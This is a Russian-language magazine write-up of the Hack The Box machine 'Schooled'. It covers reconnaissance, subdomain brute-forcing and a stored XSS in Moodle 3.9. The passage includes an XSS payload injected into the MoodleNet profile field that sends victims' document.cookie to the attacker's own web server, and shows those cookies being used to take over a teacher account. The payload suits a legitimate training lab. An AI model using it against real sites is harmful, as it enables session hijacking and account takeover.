Взлом

HTB Schooled. Пентестим Moodle и делаем вредоносный пакет для FreeBSD


Содержание статьи

  • Разведка
  • Сканирование портов
  • Сканирование веб-контента
  • Точка входа
  • Поиск эксплоитов
  • Эксплуатация Stored XSS
  • Точка опоры
  • Продвижение от Teacher до Manager
  • Удаленное выполнение кода
  • Продвижение
  • Локальное повышение привилегий

В этой статье нам пред­сто­ит прой­ти все сту­пени повыше­ния при­виле­гий на плат­форме для онлай­нового обу­чения Moodle — вплоть до получе­ния реверс‑шел­ла и дам­па учет­ных дан­ных из базы плат­формы. Затем мы повысим при­виле­гии через уста­нов­ку кас­томно­го пакета FreeBSD. Про­делы­вать все это мы будем для зах­вата машины Schooled с пло­щад­ки Hack The Box.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

Ад­рес машины — 10.10.10.234, добав­ляем его в /etc/hosts и начина­ем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

На­ходим три откры­тых пор­та: 22 (служ­ба SSH), 80 (веб‑сер­вер Apache 2.4.46) и 33060. Пер­вым делом прой­дем­ся по сай­ту и соберем информа­цию.

Стар­товая стра­ница сай­та

На стра­нице About мы находим поч­ту для свя­зи, а так­же домен — schooled.htb.

Стра­ница About 

Сканирование веб-контента

Боль­ше ничего най­ти не уда­лось, а так как schooled.htb ока­зал­ся зарегис­три­рован­ным доменом, сто­ит помимо ска­ниро­вания фай­лов и дирек­торий переб­рать так­же и под­домены. Я это делаю с помощью Burp Intruder — он уме­ет про­дол­жать ска­ниро­вать пос­ле обры­ва соеди­нения. Перенап­равля­ем зап­рос в Intruder, ука­зыва­ем сло­варь /Discovery/DNS/subdomains-top1million-5000.txt из набора SecLists, а так­же уста­новим 120 потоков.

Нас­трой­ка Burp — Positions

Нас­трой­ка Burp — Payloads

Нас­трой­ка Burp — Options

Ре­зуль­тат перебо­ра

И мы находим новый под­домен — moodle.schooled.htb. Сра­зу добавим его в /etc/hosts и пос­мотрим, что там.

Стар­товая стра­ница Moodle

Moodle — это веб‑при­ложе­ние, при помощи которо­го мож­но делать сай­ты для онлай­нового обу­чения. Сис­тема поз­воля­ет нас­тра­ивать макеты стра­ниц, к тому же мож­но наладить интегра­цию с раз­ным ПО, вклю­чая инс­тру­мен­ты для обще­ния, сов­мес­тной работы и управле­ния докумен­тами. Что очень важ­но, Moodle рас­простра­няет­ся сво­бод­но и име­ет откры­тый исходный код.

Фор­ма авто­риза­ции Moodle 

Точка входа

 

Поиск эксплоитов

Так как мы име­ем дело с готовым про­дук­том, нет смыс­ла «тыкать кавыч­ки» самос­тоятель­но. Гораз­до про­дук­тивнее будет узнать точ­ную вер­сию и поис­кать информа­цию или отче­ты об уже име­ющих­ся уяз­вимос­тях, а воз­можно, и готовые экс­пло­иты. Мож­но най­ти ис­ходные коды на GitHub и узнать, где в прог­рамме рас­положе­на информа­ция о текущей вер­сии. Смот­рим, что у нас на сер­вере, и узна­ем, что исполь­зует­ся вер­сия 3.9.

Файл upgrade.txt в репози­тори­ях GitHub

Зап­рос фай­ла upgrade.txt на сер­вере

Те­перь можем поис­кать информа­цию об уяз­вимос­тях и готовых экс­пло­итах.

Справка: поиск готовых эксплоитов

При пен­тесте луч­ше все­го искать экс­пло­иты при помощи Google, пос­коль­ку этот поис­ковик заг­лядыва­ет и в лич­ные бло­ги, и в самые раз­ные отче­ты. Уско­рят дело спе­циали­зиро­ван­ные базы вро­де Exploit-DB — там час­то мож­но обна­ружить под­ходящие вари­анты. Если ты работа­ешь в спе­циали­зиро­ван­ной ОС вро­де Kali Linux, то эта база у тебя уже есть и для поис­ка мож­но исполь­зовать ути­литу searchsploit.

Экс­пло­иты, най­ден­ные searchsploit

Для вер­сии 3.9 экс­пло­итов нет, но есть для более све­жей 3.10.3. Сто­ит ее поп­робовать, так как есть веро­ятность, что уяз­вимость при­сутс­тву­ет и в ран­них вер­сиях. Пос­мотрим детали уяз­вимос­ти.

searchsploit -p php/webapps/49714.txt

По­луче­ние экс­пло­ита

Опи­сание уяз­вимос­ти 

Эксплуатация Stored XSS

Эта вер­сия уяз­вима к ата­ке XSS, при­чем хра­нимой. Для про­вер­ки уяз­вимос­ти регис­три­руем­ся и авто­ризу­емся в сис­теме. Внед­рить код мож­но через поле MoodleNet profile в нас­трой­ках поль­зовате­ля. Давай внед­рим сле­дующий код, который будет показы­вать окош­ко с тек­стом 1.

<img src="1" onerror="alert(1)" />

Сох­ранение наг­рузки

Так как это Stored XSS, код будет выпол­нять­ся каж­дый раз при прос­мотре поль­зовате­лем нашего про­филя.

Вы­пол­нение кода при прос­мотре про­филя

Так как уяз­вимость под­твержде­на, мы можем украсть cookie. Для это­го откро­ем на локаль­ном хос­те веб‑сер­вер python3.

python3 -m http.server 8888

А теперь внед­рим код, который будет заг­ружать с нашего сер­вера кар­тинку, а в качес­тве парамет­ра будем переда­вать куки. Так они и попадут к нам.

<img src="1" onerror='this.src="https://10.10.14.195:8888/cookie="+document.cookie' />

Ло­ги веб‑сер­вера

Сре­ди мно­жес­тва зап­росов мы находим тот, зна­чение парамет­ра которо­го отли­чает­ся. Под­став­ляем получен­ные cookie и перезаг­ружа­ем стра­ницу. Так мы начина­ем работать под учет­ной записью пре­пода­вате­ля.

Те­кущий поль­зователь

Источник: xakep.ru

Оставить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *